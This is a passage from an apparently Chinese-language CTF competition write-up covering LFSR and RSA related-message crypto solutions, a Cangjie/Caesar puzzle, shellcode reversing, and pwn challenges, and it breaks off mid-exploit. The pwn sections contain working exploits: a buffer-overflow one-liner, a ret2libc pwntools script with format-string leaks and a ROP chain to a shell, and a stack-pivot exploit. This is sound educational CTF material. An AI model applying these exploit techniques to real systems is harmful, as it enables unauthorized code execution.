\vdots & \vdots & \vdots & \ddots & \vdots & \vdots & \ddots & \vdots \\
0 & 0 & 0 & \cdots & 0 & 0 & \cdots & 1 \\
1 & 1 & 1 & \cdots & 1 & 0 & \cdots & 0 \\
\end{bmatrix}
$$
而在 $b$ 的部分,就要看前面式子中的後面項,而他只會影響到最後的一 bit,因此 $b$ 向量的部分會變成前面是 0 最後是 $\sum\limits_{i=0}^7 (- m_i^2 + 0x6861616368616d61)$
因此我們有了 model 之後,我們可以來建聯立方程式,不過由於在 flag 後面只有給 52 個乾淨沒有被 xor 過的 bit 但是我們有 64 個變數,因此需要借用一下 flag 前面已知的 `TSCCTF` 這 6 個 bytes = 48 個 bits 的資料,而由於第 1 個 bit 沒有乘過我們的 $A$ 矩陣,因此無法使用他,因此我們只能使用 47 個 flag bits 加上後面的 52 個 clean bits 來建方程式,足夠我們使用了
以下是解題的腳本,取得 key 之後就可以正常的跑 model 來產 bit 解密 flag 了
```python
from sage.all import Matrix, vector, GF, copy
from param import lfsr_taps, lfsr_keysize, output
from Crypto.Util.number import long_to_bytes
mat_A = Matrix(GF(2),
[[1 if j==i+1 else 0 for j in range(lfsr_keysize)] for i in range(lfsr_keysize-1)] +
[[1 if i < len(lfsr_taps) else 0 for i in range(lfsr_keysize)]]
)
vec_b = vector(GF(2),
[0 for _ in range(lfsr_keysize-1)] +
[ sum(0x6861616368616d61-lfsr_taps[i]**2 for i in range(len(lfsr_taps))) ]
)
begin = len(output) - 52
equation_arr = []
equation_out = []
acc_matA = copy(mat_A)
acc_vecb = copy(vec_b)
flaghead = [int(i) for i in ''.join([bin(ord(i))[2:].zfill(8) for i in "TSCCTF"])]
for i in range(1,len(output)):
if i < len(flaghead):
equation_arr.append(acc_matA[0])
equation_out.append((flaghead[i] ^ output[i]) - acc_vecb[0])
if i > begin:
equation_arr.append(acc_matA[0])
equation_out.append(output[i] - acc_vecb[0])
acc_matA = mat_A * acc_matA
acc_vecb = mat_A * acc_vecb + vec_b
equation_mat = Matrix(GF(2), equation_arr)
equation_out_vec = vector(GF(2),equation_out)
key = equation_mat.solve_right(equation_out_vec)
print(key)
# get flag
acc_matA = copy(mat_A)
acc_vecb = copy(vec_b)
out = []
out.append(key[0])
for i in range(1,begin):
out.append((acc_matA * key + acc_vecb)[0])
acc_matA = mat_A * acc_matA
acc_vecb = mat_A * acc_vecb + vec_b
# print(out)
flag = []
for i in range(begin):
flag.append(int(out[i]) ^ output[i])
print(long_to_bytes(int(''.join([str(i) for i in flag]),2)))
```
執行之後可以拿到 flag

`TSCCTF{3736203334203435203235203337203434203433203935203834203933203134206433203637206633203836203336203437203136203737206632206436206636203336206532203536203236203537203437203537206636203937206532203737203737203737206632206632206133203337203037203437203437203836}`
### Baby staRburSt streAm
```
The flag format is TSCCTF{.+}.
starburst-stream.gif
Author: Ching367436
file: chal.py, output.txt
```
以下是題目的部分
```python
print(
"""
/>_________________________________
[########[]_________________________________>
\> Sword Art Offline
"""
)
from Crypto.Util.number import *
from random import random
from time import sleep
from secret import FLAG
flag = bytes_to_long(FLAG)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
print(f'{n = }')
assert 2*n > flag > 0
def starburst(x: int):
return (x * 0x48763 + 0x74) % n
def isBurst() -> bool:
return True
sleep(10)
for i in range(16):
flag = starburst(starburst(flag))
if isBurst():
print(pow(flag, 0x487, n))
```
可以看到題目會生成 RSA 2048,並且會執行 16 round,每次會對 flag 做兩次的 LCG 之後做 RSA 加密印出來,公鑰 e 是 0x487
而我們可以知道 LCG 是一個線性的算法,就算做 2 次也一樣,因此我們可以得到這樣的關係式,$f(x)$ 是線性的函式
$m_2 \equiv f(m_1) \mod N$
$c_2 \equiv m_2^e \equiv f(m_1)^e \mod N$
因此這題是一個標準的 related message attack
首先我們可以先將 $f(x)$ 展開出來,他是 $LCD(LCD(x))$,也就是 $(x * a + b) * a + b \mod N \equiv a^2 * x + a*b + b \mod N$
因此我們可以參考 [這個腳本](https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_coppersmith_attack/#sctf-rsa3) 來改成這題的腳本,如下
```python
from sage.all import *
from param import n, c1, c2
from Crypto.Util.number import *
e = 0x487
a = 0x48763**2
b = 0x48763*0x74 + 0x74
pol = PolynomialRing(Zmod(n), 'x')
x = pol.gen()
g1 = x**e - c1
g2 = (a*x+b)**e - c2
# from https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_coppersmith_attack/#sctf-rsa3
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
g = gcd(g1, g2)
m1 = -g[0]
print(m1)
flag = ((m1 - b) * pow(a, -1, n)) % n
print(long_to_bytes(flag))
```
執行之後就能算出 flag

`TSCCTF{_______dQw4w9WgXcQ_______}`
### 匚凡巳丂凡𠂆 工几卩凵七 从巳七升口夕
```
六 七 八 九 零 減號 加號 刪除 頓號 一 二 三 四 五
山 戈 人 心 開括 關括 斜根 間隔 手 田 水 口 廿 卜
大 中 冒號 引號 輸入 全半形 日 尸 木 火 土 竹 十
句號 問號 大寫變換 大寫變換 重 難 金 女 月 弓 一 逗號
視窗 指令 空白 指令 視窗 選單 控制 控制
Special flag format: 丅丂匚﹛…﹜
Author: IID
※ The first 2 hexadecimal digits of the SHA256 hash of the flag is in the paid hint.
file: flag.caesarim.enc
```
打開檔案之後,可以看到項是下面這樣的東西
```
MV ZN LDT NTGT DP IGJK KEZJS XYT JSK BS SR HQN WF YWZA VEW KRDY YJLJ
```
初步看不出來是啥,只能知道每一格的字元長度不固定,大概介於 1 ~ 5 個字元之間
而搭配一下題目的名稱,可以看得出應該是叫 `caesar input method`,所以應該是有被做凱薩加密之類的
另外從題目說明的鍵盤圖可以推知跟倉頡有點關係,且根據 [wikipedia](https://zh.wikipedia.org/zh-tw/%E5%80%89%E9%A0%A1%E8%BC%B8%E5%85%A5%E6%B3%95#%E5%8F%96%E7%A0%81%E6%A6%82%E8%A6%81) 的資料可以知道倉頡的字碼可以是 1 碼到 5 碼,與我們先前的發現相符
而觀察一下檔案,我在觀察 5 碼的時候發現了一個關鍵的地方,以下是我整理的 5 碼資料,中間 `...` 代表的是多個字,而 `?` 代表的是一個非 5 碼的字
```
KEZJS ... HSNCD ZZECD ... JUPER CIGEF ... KVQFG CCHFG ... JUJON ... WQLVE ... QBWLM IINLM ... WHCRS OOTRS ... CNIXY UUZXY ... YJETU QQVTU ... IJVVV RNDXN ... TZXVW ? YZLLL HDTND ... KRDPL
```
可以觀察到,裡面的 `HSNCD ZZECD`, `KVQFG CCHFG`, `QBWLM IINLM`, `WHCRS OOTRS`, `CNIXY UUZXY`, `YJETU QQVTU` 的 pattern 很類似,因此我有個大膽的想法,會不會他們其實是同一個字,只是有不同的 offset

因此我整理了一下,以下是上面這些 pattern 中間隔了幾個字元的資料,可以看到在隔了 42 與隔了 16 個字元的情況下他們都是會有 6 個 offset 的差距,且 $42 = 16 + 26$,這是巧合嗎?我認為不是
```
HSNCD ZZECD -> 21 w -> KVQFG CCHFG (+3)
KVQFG CCHFG -> 42 w -> QBWLM IINLM (+6)
QBWLM IINLM -> 16 w -> WHCRS OOTRS (+6)
WHCRS OOTRS -> 16 w -> CNIXY UUZXY (+6)
CNIXY UUZXY -> 24 w -> YJETU QQVTU (+22)
```
因此我們可以大膽的猜想,第 1 個字和第 27 個字會使用相同的 caesar key 做加密,第 2 個字和第 28 個字會使用相同的 caesar key 做加密,以此類推,而我們需要找到這個 key 以及他是如何做演化的
因此我首先從第 1 個字的 key 開始找起,他的 key 也會和第 27 個字的 key 相同,這邊我使用 [cryptii](https://cryptii.com/pipes/caesar-cipher) 的線上工具來轉 caesar 回來,並使用 [線上倉頡輸入法](https://www.cangjieinput.com/) 來測試倉頡字碼
當我在測試第 27 個字 `AUMD` 的時候,我發現在將他做 +14 時 (也就是 caesar key 是 12) 會轉換成 `OIAR`,而字碼轉換後變成倉頡的 `倉`,所以可能解對了?


而我原本猜想 key 的更新是一個字元就會讓 key + 1 或 key - 1,但是測試起來好像不是,而我這邊就假設前面找出來的 `倉` 字後面應該會接 `頡`,因此就去嘗試找對應的 caesar key,最終找到了是 25,所以可能是 +11 的更新法則


因此我這邊初步寫了一個腳本來自動解碼,而另外為了要解倉頡碼出來,我上網找到了 [EasyIME/PIME](https://github.com/EasyIME/PIME/blob/master/python/cinbase/cin/mscj3-ext.cin) 這個字碼庫來轉換
```python
from string import ascii_uppercase
enc = open("flag.caesarim.enc", "r").read().split()
pt = []
key = 14 # try and error
for word in enc:
plain = ""
for c in word:
plain += ascii_uppercase[(ascii_uppercase.index(c) + key) % len(ascii_uppercase)]
pt.append(plain)
key = (key + 11) #% len(ascii_uppercase)
print(' '.join(pt))
dataset = open("mscj3-ext.cin", "r").read().split('\n')[50:-1]
dataset_dict = dict()
for line in dataset:
data = line.split()
k,v = data[0], data[-1]
if(dataset_dict.get(k) == None):
dataset_dict[k] = v.strip()
elif(type(dataset_dict.get(k)) == list):
dataset_dict[k].append(v.strip())
elif(type(dataset_dict.get(k)) == str):
dataset_dict[k] = [dataset_dict.get(k), v.strip()]
# https://ivantsoi.myds.me/web/pun.htm
dataset_dict['zxaa'] = ' '
dataset_dict['ml'] = '丅'
dataset_dict['mvs'] = '丂'
dataset_dict['mv'] = '匚'
# dataset_dict['hni'] = '凡'
dataset_dict['ru'] = '巳'
# dataset_dict['hh'] = '𠂆'
# dataset_dict['mlm'] = '工'
dataset_dict['hn'] = '几'
# dataset_dict['sl'] = '卩'
dataset_dict['vl'] = '凵'
# # dataset_dict['jv'] = '七'
# dataset_dict['oo'] = '从'
# dataset_dict['ht'] = '升'
# dataset_dict['r'] = '口'
dataset_dict['ni'] = '夕'
dataset_dict['cl'] = '丫'
for p in pt:
ch = dataset_dict.get(p.lower())
if(ch == None):
ch = f'[{p}]'
# if(ch == '灬'):
# ch = '从'
print(ch, end='')
print()
```
因為有些字詞會有一個倉頡碼對應到多個字的情況,因此我有將那些部分轉換成 list 之後一起印出來,並將一些已知可能的字元寫死設定,而在 try and error 很多次之後終於試出來了 :skull:

`丅丂匚﹛十与口 丂巳﹙凵𠂆讠七丫 匚𠂆巳夕讠七 做得好! 丫口凵’𠂆巳 山巳︱︱ 口几 丫口凵𠂆 山凡丫 七口 㠯巳﹙口爫巳 凡 匚凡巳丂凡𠂆 讠几卩凵七 爫凡丂七巳𠂆!!﹗﹗﹗﹜`
## Reverse
### sHELLcode
```
Ez Reverse Right?
Author: ShallowFeather
注意: Flag format為 TCL{flag}
沒改到不好意思 QQ
file: sHELLcode.exe
```
題目給了 binary,直接丟進 IDA 分析,以下是 main 函式

可以看到程式會從 argv 讀取輸入,並可以看到輸入的長度必須是 32,而後他會將 `code` 陣列的資料與 `0x87` 做 xor 之後視為是 shellcode 執行,並將輸入帶進去,假如執行通過的話就會印出 `Here is your flag` 加上我們的輸入,因此可想而知我們的輸入應該就要是 flag
我們可以使用 cyberchef 來做 xor 並做 disassemble,recipe [在此](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'87'%7D,'Standard',false)To_Hex('Space',0)Disassemble_x86('64','Full%20x86%20architecture',16,0,true,true)&input=RDIgMEUgNjIgRDQgMDQgNkIgOTMgMEEgQzIgNzQgNDAgODcgRTQgQkYgQjAgQjEgRTEgNDAgQzcgODMgQjQgODcgNDAgQzIgN0YgODcgODcgODcgODcgMDQgRkEgN0YgQTcgRjggRDEgMEMgQzIgN0YgMEMgOUIgMDIgRTcgQzYgQzcgODcgMEMgRDIgN0YgMEMgQzIgOEYgODYgNTcgODggMzEgODcgMEYgQzIgNkMgMEMgQ0EgN0YgM0QgRTAgRTEgRTEgRTEgMEUgNEYgNzAgNkQgNTYgN0QgMEUgNEYgNDYgN0YgOTggQUUgNDUgMEUgNTcgMEUgNDUgNDYgNjUgODUgODYgNDUgMEUgNEYgQUUgNTcgODggMzEgQzMgODIgNzQgQjUgQzIgNkMgODggMzkgNDcgQkUgNDQgRjMgODAgM0YgODcgODcgODcgODcgNkMgOEMgMDQgQzIgN0YgODYgNkMgMjMgM0YgODYgODcgODcgODcgMDQgNDMgOTMgREMgREEgNDQgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDA),我將 code 陣列的資料做完 xor 之後直接做 disassemble,因此可以看得到檢查的邏輯部分
以下是 assembly 的部分,我有將後面的 `\x00` 去除掉
```
0000000000000000 55 PUSH RBP
0000000000000001 89E5 MOV EBP,ESP
0000000000000003 53 PUSH RBX
0000000000000004 83EC14 SUB ESP,00000014
0000000000000007 8D45F3 LEA EAX,[RBP-0D]
000000000000000A C70063383736 MOV DWORD PTR [RAX],36373863
0000000000000010 66C740043300 MOV WORD PTR [RAX+04],0033
0000000000000016 C745F800000000 MOV DWORD PTR [RBP-08],00000000
000000000000001D 837DF820 CMP DWORD PTR [RBP-08],00000020
0000000000000021 7F56 JG 0000000000000079
0000000000000023 8B45F8 MOV EAX,DWORD PTR [RBP-08]
0000000000000026 8B1C8560414000 MOV EBX,DWORD PTR [RAX*4+00404160]
000000000000002D 8B55F8 MOV EDX,DWORD PTR [RBP-08]
0000000000000030 8B4508 MOV EAX,DWORD PTR [RBP+08]
0000000000000033 01D0 ADD EAX,EDX
0000000000000035 0FB600 MOVZX EAX,BYTE PTR [RAX]
0000000000000038 8845EB MOV BYTE PTR [RBP-15],AL
000000000000003B 8B4DF8 MOV ECX,DWORD PTR [RBP-08]
000000000000003E BA67666666 MOV EDX,66666667
0000000000000043 89C8 MOV EAX,ECX
0000000000000045 F7EA IMUL EDX
0000000000000047 D1FA SAR EDX,1
0000000000000049 89C8 MOV EAX,ECX
000000000000004B C1F81F SAR EAX,1F
000000000000004E 29C2 SUB EDX,EAX
0000000000000050 89D0 MOV EAX,EDX
0000000000000052 89C2 MOV EDX,EAX
0000000000000054 C1E202 SHL EDX,02
0000000000000057 01C2 ADD EDX,EAX
0000000000000059 89C8 MOV EAX,ECX
000000000000005B 29D0 SUB EAX,EDX
000000000000005D 0FB64405F3 MOVZX EAX,BYTE PTR [RBP+RAX-0D]
0000000000000062 3245EB XOR AL,BYTE PTR [RBP-15]
0000000000000065 0FBEC0 MOVSX EAX,AL
0000000000000068 39C3 CMP EBX,EAX
000000000000006A 7407 JE 0000000000000073
000000000000006C B800000000 MOV EAX,00000000
0000000000000071 EB0B JMP 000000000000007E
0000000000000073 8345F801 ADD DWORD PTR [RBP-08],00000001
0000000000000077 EBA4 JMP 000000000000001D
0000000000000079 B801000000 MOV EAX,00000001
000000000000007E 83C414 ADD ESP,00000014
0000000000000081 5B POP RBX
0000000000000082 5D POP RBP
0000000000000083 C3 RET
```
從以上邏輯慢慢看出在 0x07 ~ 0x10 的地方他會將一個字串 `c8763` 放到 `rbp-0xd` 的地方,而後在 0x16 ~ 0x77 的地方有一個迴圈會從 0 執行到 0x20,看起來是會對輸入的每個 byte 做事情,而在 0x26 的地方可以看到他會從 `0x404160` 的地方載入一個一個 dword 的資料到 `ebx` 之後在 0x62 ~ 0x71 的地方會將轉換後的輸入資料與 `c8763` 做 xor 之後與 `ebx` 做比較,如果一樣的話迴圈繼續否則返回 0 表示失敗
而中間那一大段的邏輯我看了很久但是看不太出來他要幹嘛,因此這邊我直接嘗試將 `0x404160` 那邊 `dword` 的資料與 `c8763` 做 xor,發現 flag 就出來了,recipe [在此](https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Simple%20string','string':'h'%7D,'',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':','%7D,'',true,false,true,false)From_Hex('Auto')XOR(%7B'option':'UTF8','string':'c8763'%7D,'Standard',false)&input=MzdoLCA3QmgsIDdCaCwgNzVoLCA2N2gsIDI1aCwgNDNoCjc5aCwgNTloLCA0NGgsIDNDaCwgNERoLCA0NWgsIDY5aAo3MmgsIDNDaCwgNEJoLCA3RmgsIDczaCwgN0ZoLCAyRmgKNUJoLCA1OGgsIDUyaCwgNTZoLCAzQ2gsIDc1aCwgMwo0NWgsIDY3aCwgNiwgNEFoLCA0QWg),所以我猜中間可能是用來混淆用的

`TCLCTF{Now_ur_A_sHELLcode_M4sTer}`
## Pwn
### [教學題] ret2win
```
Welcome to the easiest pwnable challenge in TSCCTF!
nc 172.31.210.1 50001
file: ret2win.zip
```
題目有給 source code,如下
```c
#include <stdio.h>
#include <stdlib.h>
void win(void){
execve("/bin/sh", 0, 0);
}
int main(){
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("baby pwn challenge!");
char str[0x20];
gets(str);
return 0;
}
```
可以看到他有一個 `main` 函式及 `win` 函式,我們只要跳到 `win` 上就能拿到 shell
而在 `main` 的地方有一個 `gets`,具有 BOF 漏洞,因此我們可能可以用 stack overflow 蓋 return address 的方式跳到 win 上開 shell
以下是 checksec 的結果,可以看到沒有 PIE 和 canary,可以直接跳讚讚

以下是 `win` 函式的位置,我使用 `readelf` 來看 (我懶得開 ghidra)

因此有了要跳的位置,我們可以開始打 exploit 了,ㄚ我懶得寫 script 因此直接用 echo 來解,總之前面會有 0x20 個 `A` 字元來填 buffer,8 個 `B` 字元來填 rbp,後面填上 win 的位置代表 return address,即可跳到 win,後面就會送 `cat flag` 的指令給 shell 拿 flag 的內容
`echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x96\x11\x40\x00\x00\x00\x00\x00\ncat flag" | nc 172.31.210.1 50001`
指令下去就能拿 flag 了

`TSC{baby_pwn_cha11eng2_1snt_1t?}`
### ret2libc
```
Do you know libc?
nc 172.31.210.1 50002
file: ret2libc.zip
```
題目有給原始碼,如下所示
```c
#include <stdio.h>
#include <stdio.h>
int main(){
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Do you know the libc?");
char str[0x20];
scanf("%s", str);
getchar();
printf(str);
gets(str);
return 0;
}
```
可以看到他與前面一題不同的是他只有一個 `main` 函式,沒有 `win` 沒辦法直接跳,因此需要靠 return to libc 的方式來開 shell
另外一個可以觀察到的地方是它有一個 `printf(str)`,裡面的字串可控,因此我們可以用 fmt 的相關攻擊方法來 leak 資訊,比如說 libc base address 之類的
接下來我們可以來看一下 checksec 的結果,可以看到他有開 PIE 和 canary,因此我們除了 libc base address 之外可能還需要 leak canary 以及 code base address,根據前面程式的輸入部分,在不影響運作的情況下,我們可以寫最多 32 個字元,而這已經足夠我們來 leak 資料了

我們可以初步嘗試用 gdb 來看要 leak 哪裡,在有 fmt 漏洞那邊的 stack 如下,可以看到 canary 在 `0x7fffffffdcf8` 那邊,`main` 函式結束後會跳回 `__libc_start_main` 的位置在 `0x7fffffffdd08`,而 `__libc_start_main` 的參數 `main` address 在 `0x7fffffffdd28`,因此相對應的我們要用 `%???$p` 的參數編號分別會是 6+5, 6+7, 6+11

leak 出來後計算一下 offset 即可取得相對應的 base address 的數值
以下是腳本中相對應的程式碼部分
```python
conn.sendlineafter(b"libc?\n", b"%11$p|%13$p|%17$p|")
canary = int(conn.recvuntil(b"|", drop=True)[2:], 16)
leak1 = int(conn.recvuntil(b"|", drop=True)[2:], 16)
leak2 = int(conn.recvuntil(b"|", drop=True)[2:], 16)
print(f"canary: {hex(canary)}")
libcbase = leak1 - 0x24083
print(f"leak: {hex(leak1)}")
print(f"libcbase: {hex(libcbase)}")
codebase = leak2 - 0x1209
print(f"leak: {hex(leak2)}")
print(f"codebase: {hex(codebase)}")
```
接著有了 canary、libc base address、code base address 之後,我們可以開始來串 ROP chain 了,我們需要用 libc 中的 `system()` 來 call `/bin/sh` 開 shell,因此我們需要 `system()` 的位置、`/bin/sh` 的位置以及 `pop rdi` 的 gadget,而為了可能的 stack alignment 的問題我們也可能需要 `ret` 的 gadget,以下 gadget 皆是使用 [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) 及 readelf 來找到的
首先是 `system()` 的位置,我們可以用 readelf 工具來找到,如下

`/bin/sh` 的字串可以用 ROPgadget 工具找到,不用自己寫 bss

`pop rdi` 的 gadget 也可以用 ROPgadget 找到

`ret` 的 gadget 當然也可以用 ROPgadget 找到

將這些 gadget 與計算出的 libc base address 做相加,即可得到這些 gadget 的真實位置,而我們就可以用這些 gadget 來串 ROP chain 開 shell RCE 了
完整的 exploit 如下
```python
from pwn import *
binary = "./ret2libc"
context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary
conn = remote("172.31.210.1", 50002)
# conn = process(binary)
# conn = gdb.debug(binary)
conn.sendlineafter(b"libc?\n", b"%11$p|%13$p|%17$p|")
canary = int(conn.recvuntil(b"|", drop=True)[2:], 16)
leak1 = int(conn.recvuntil(b"|", drop=True)[2:], 16)
leak2 = int(conn.recvuntil(b"|", drop=True)[2:], 16)
print(f"canary: {hex(canary)}")
libcbase = leak1 - 0x24083
print(f"leak: {hex(leak1)}")
print(f"libcbase: {hex(libcbase)}")
codebase = leak2 - 0x1209
print(f"leak: {hex(leak2)}")
print(f"codebase: {hex(codebase)}")
# 0x00000000001b45bd : /bin/sh
# 0x0000000000023b6a : pop rdi ; ret
# 1430: 0000000000052290 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
# 0x0000000000022679 : ret
binsh = libcbase + 0x1b45bd
system = libcbase + 0x52290
poprdi = libcbase + 0x23b6a
ret = libcbase + 0x22679
chain = flat([
poprdi, binsh,
ret,
system
])
conn.sendline(b"A"*0x28 + p64(canary) + p64(0xdeadbeef) + chain)
conn.interactive()
```
執行後即可拿到 shell

`TSC{ret2l1bc_happy_happy_happy1337}`
### Babypwn2024 Nerf
```
It's 2024. Baby, pwn me first.
Notice that we enable POW (Proof-of-Work) to help our infra stay alive. See the attached files for more details.
Brute-forcing is not necessary and prohibited.
nc 172.31.210.1 50003
Author: TWNWAKing
file: release.zip
```
這題題目沒有給 source code,只能去逆向他了,以下是 ghidra 逆出來的 `main` 函式
```c
undefined8 main(void)
{
undefined local_28 [32];
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
read(0,local_28,0x30);
puts("Mission failed?");
return 0;
}
```
可以看到這題和前面兩題有點像,不過是困難版的,既沒有 `win` 函式也沒有 fmt 漏洞可以 leak 資訊,此外他在輸入的部分也只給了 `0x30` 的空間,基本上只能蓋到 rbp 及 return address
不過值得慶幸的是在 checksec 中可以看到他沒有 PIE 及 canary,至少我們不需要煩惱怎麼繞過這邊

接下來為求方便解釋,我先將以上程式碼中比較重要的 assembly 貼在下面做參考使用
```
004011c0 e8 bb fe CALL <EXTERNAL>::setvbuf
ff ff
004011c5 48 8d 45 e0 LEA RAX =>local_28 ,[RBP + -0x20 ]
004011c9 ba 30 00 MOV EDX ,0x30
00 00
004011ce 48 89 c6 MOV RSI ,RAX
004011d1 bf 00 00 MOV EDI ,0x0
00 00
004011d6 b8 00 00 MOV EAX ,0x0
00 00
004011db e8 90 fe CALL <EXTERNAL>::read
ff ff
004011e0 48 8d 05 LEA RAX ,[s_Mission_failed?_00402004 ]
1d 0e 00 00
004011e7 48 89 c7 MOV RDI =>s_Mission_failed?_00402004 ,RAX
004011ea e8 71 fe CALL <EXTERNAL>::puts
ff ff
004011ef b8 00 00 MOV EAX ,0x0
00 00
004011f4 c9 LEAVE
004011f5 c3 RET
```
回到主題,由於我們基本上只能蓋 rbp 及 return address,肯定是沒辦法單純的蓋 ROP chain,因此我們必須要用 stack pivoting 跳到 bss 或是其他地方塞 ROP chain,這邊我是選擇 bss
首先我們要先選一塊風水寶地,我們可以從 readelf 或是其通工具知道 bss 段是在 0x404000 ~ 0x405000 的地方,而我選擇要做事情的資料是從 0x404800 開始,至於為什麼要選這麼高的位置後面會說明,這邊我們先命名為 `bss_800`
而從上面的 assembly 可以看到當我們能控制 rbp 並修改 return address 到 0x004011c5 時,由於程式的邏輯我們可以寫入 rbp - 0x20 到 rbp + 0x10 的位置,因此我們可以寫入一些資料到 bss 上
因此,在第一次階段的部分我們會使用以下的 payload,先填充 0x20 的 buffer 之後在 rbp 的地方寫入 `bss_800 + 0x20`,並將 return address 蓋成 `0x4011c5`,這樣我們在下一個階段就能寫入資料到 `bss_800`
```python
conn.send(b"A"*0x20 + p64(bss_800 + 0x20) + p64(0x4011c5))
conn.recvuntil(b"failed?")
```
在第二個階段,目前的 rsp 仍然是一個 stack 上的位置,不過 rbp 現在變成 `bss_800 + 0x20`,而由於我們目前還沒辦法跳去玩 ROP chain,因此第二個階段的 payload 還是暫時是填充 buffer 並在 rbp 的地方填入 `bss_800 + 0x28 + 0x20` 以及 return address 填入 `0x4011c5`,至於為什麼是 `bss_800 + 0x28` 在下一個階段就會揭曉,而下個階段我們就能寫入 `bss_800 + 0x28` ~ `bss_800 + 0x58` 的位置
```python
conn.send(b"12345678"*4 + p64(bss_800 + 0x28 + 0x20) + p64(0x4011c5))
conn.recvuntil(b"failed?\n")
```
在第三個階段,目前的 rsp 是第一個階段的 rbp `bss_800 + 0x20` 加上 function epilogue 中 `pop rbp ; ret` 使得會變成 `bss_800 + 0x30` 而 rbp 是上一個階段的 rbp `bss_800 + 0x48`,在這個階段中我測試時發現了一些奇妙的事情,首先下面是 `read` 的 assembly code 的前面部分
```
Dump of assembler code for function read:
=> 0x00007ffff7ea79c0 <+0>: endbr64
0x00007ffff7ea79c4 <+4>: mov eax,DWORD PTR fs:0x18
0x00007ffff7ea79cc <+12>: test eax,eax
0x00007ffff7ea79ce <+14>: jne 0x7ffff7ea79e0 <read+32>
0x00007ffff7ea79d0 <+16>: syscall
0x00007ffff7ea79d2 <+18>: cmp rax,0xfffffffffffff000
0x00007ffff7ea79d8 <+24>: ja 0x7ffff7ea7a30 <read+112>
0x00007ffff7ea79da <+26>: ret
```
當我們 call `read` 時,會一路從 plt -> got 最終跳到 libc 上的 read 函式也就是這邊,而 call 的時候同時也會讓 rsp 減 8 並放上 return 回來的位置 (calling convention),因此此時在這個函式一開始時的 rsp 是 `bss_800 + 0x28`,而在這段程式碼中我們會寫入 `bss_800 + 0x28` ~ `bss_800 + 0x58`,恰巧的我們可以複寫到 return address 所在的位置 `bss_800 + 0x28`,也就是說我們可以在這段位置上放 ROP chain,而這也是為什麼前面在階段二我們要填 rbp 所填的是 `bss_800 + 0x28 + 0x20` 的原因
既然我們可以執行 ROP chain 了,那麼我們要如何 leak 資料呢?一個簡單的想法可能是 ret2plt,但是實際去用 ROPgadget 會發現 binary 中並沒有 `pop rdi` 的 gadget 可以使用,很不方便,另外 binary 中也沒有 `dl_resolve` 可以使用
因此這邊我使用了 lys 大大在好厲駭 ROP 課中所說到的 ret to deregister_tm_clone 的方式,以下我來進行說明這個方法
首先以下是 `deregister_tm_clone` 的 assembly 部分,可以看到他在一開始會將 `__bss_start` 的資料放到 rax 中,而這個位置其實會是 libc 中跟 dynamic linking 載入器有關的位置,因此執行這個函式等同於我們把 libc 上的位置放到 rax 中

回到前面的 assembly 部分,可以看到在 0x004011e7 的位置會將 rax 的值放到 rdi 之後用 print 印出,也就是說只要我們在 ROP chain 中執行完 `deregister_tm_clone` 之後跳到 0x004011e7 的位置我們就能 leak 出 libc 的位置了
因此我們第三階段的 payload 就會是 ROP chain 加上一個 rbp address 為 `bss_800 + 0x28 + 0x20` 以及 return address 填 `main` 函式,在這個階段我們就能 leak 出 libc 的位置了
```python
chain = flat([
dtm_clone,
ret,
0x4011e7,
0x0,
])
conn.send(chain + p64(bss_800 + 0x28 + 0x20) + p64(0x401176))
leak = u64(conn.recvline().strip().ljust(8, b"\x00"))
libcbase = leak - 0x21a780
print(f"leak: {hex(leak)}")
print(f"libcbase: {hex(libcbase)}")
```
而最後階段我們跳回了 `main` 函式,且我們知道了 libc 的 base address,因為上個階段的 rsp 最後會變成 `bss_800 + 0x50`,做完 `main` 的 prologue 之後 rbp 就會變成 rsp 也就是 `bss_800 + 0x50`,因此此時我們可以寫入的位置是 `bss_800 + 0x30` ~ `bss_800 + 0x60`,這邊我們只要在這個位置段寫入開 shell 的 ROP chain 並做一般的 stack pivoting 跳到上面即可
```python
binsh = libcbase + 0x1d8698
system = libcbase + 0x50d70
pop_rdi = libcbase + 0x2a3e5
chain = flat([
pop_rdi,
binsh,
system,
0,
])
conn.send(chain + p64(bss_800 + 0x28) + p64(0x4011f4))
```
而這邊有個小插曲,我原本在使用比較低位置的 bss 時發現會在 `system` 執行途中寫入到超出 bss 範圍的地方,使得發生 segmentation fault,因此後來我就搬到比較高的地方去,這也是為什麼前面說要挑 0x404800 的原因
完整的 exploit 如下,前面有一塊是解 pow 的部分在此不做說明
```python
from pwn import *
import os
binary = "./babypwn2024-nerf"
context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"]
context.log_level = "debug"
context.binary = binary
conn = remote("172.31.210.1", 50003)
# conn = process(binary)
# conn = gdb.debug(binary)
conn.recvuntil(b"$ ")
cmd = conn.recvline().decode()
print(cmd)
result = os.popen(cmd).read()
print(f"result: {result}")
conn.sendlineafter(b"??? = ", result)
# 0x00000000004011c5 <+79>: lea rax,[rbp-0x20]
# 0x4010d0 deregister_tm_clones
# 0x000000000040101a : ret
bss_800 = 0x404000 + 0x800
dtm_clone = 0x4010d0
ret = 0x40101a
conn.send(b"A"*0x20 + p64(bss_800 + 0x20) + p64(0x4011c5))
conn.recvuntil(b"failed?")
conn.send(b"12345678"*4 + p64(bss_800 + 0x28 + 0x20) + p64(0x4011c5))
conn.recvuntil(b"failed?\n")
chain = flat([
dtm_clone,
ret,
0x4011e7,
0x0,
])
# conn.send(b"payload1" + b"payload2" + b"payload3" + b"payload4" + b"payload5" + p64(0x4011c5))
